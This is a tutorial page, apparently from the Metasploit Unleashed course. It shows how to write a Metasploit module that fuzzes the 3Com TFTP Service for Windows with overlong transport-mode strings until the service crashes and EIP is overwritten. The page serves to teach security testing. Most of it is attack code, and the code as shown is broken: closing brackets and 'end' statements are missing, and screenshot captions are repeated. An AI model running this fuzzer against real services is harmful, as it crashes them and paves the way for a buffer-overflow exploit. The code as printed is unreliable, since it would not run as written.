Simple TFTP Fuzzer

Writing a Simple Fuzzer

Writing your own TFTP Fuzzer Tool

One of the most powerful aspects of Metasploit is how easy it is to make changes and create new functionality by reusing existing code. For instance, as this very simple Fuzzer code demonstrates, you can make a few minor modifications to an existing Metasploit module to create a Fuzzer module. The changes will pass ever-increasing lengths to the transport mode value to the 3Com TFTP Service for Windows, resulting in an overwrite of EIP.


require 'msf/core'
class Metasploit3 < Msf::Auxiliary         include Msf::Auxiliary::Scanner         def initialize                 super(                         'Name'           => '3Com TFTP Fuzzer',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
                        'Author'         => 'Your name here',
                        'License'        => MSF_LICENSE
                register_options( [
                ], self.class)
        def run_host(ip)
                # Create an unbound UDP socket
                udp_sock = Rex::Socket::Udp.create(
                        'Context'   =>
                                        'Msf'        => framework,
                                        'MsfExploit' => self,
                count = 10  # Set an initial count
                while count < 2000  # While the count is under 2000 run
                        evil = "A" * count  # Set a number of "A"s equal to count
                        pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00"  # Define the payload
                        udp_sock.sendto(pkt, ip, datastore['RPORT'])  # Send the packet
                        print_status("Sending: #{evil}")  # Status update
                        resp = udp_sock.get(1)  # Capture the response
                        count += 10  # Increase count by 10, and loop

Testing our Fuzzer Tool

Pretty straight forward. Lets run it and see what happens.

Simple TFTP Fuzzer : Overwriting EIP | Metasploit Unleashed

Simple TFTP Fuzzer : Overwriting EIP | Metasploit Unleashed

And we have a crash! Our new Fuzzer tool is working as expected. While this may seem simple on the surface, one thing to consider is the reusable code that this provides us. In our example, the payload structure was defined for us, saving us time, and allowing us to get directly to the fuzzing rather than researching the TFTP protocol. This is extremely powerful, and is a hidden benefit of the Metasploit Framework.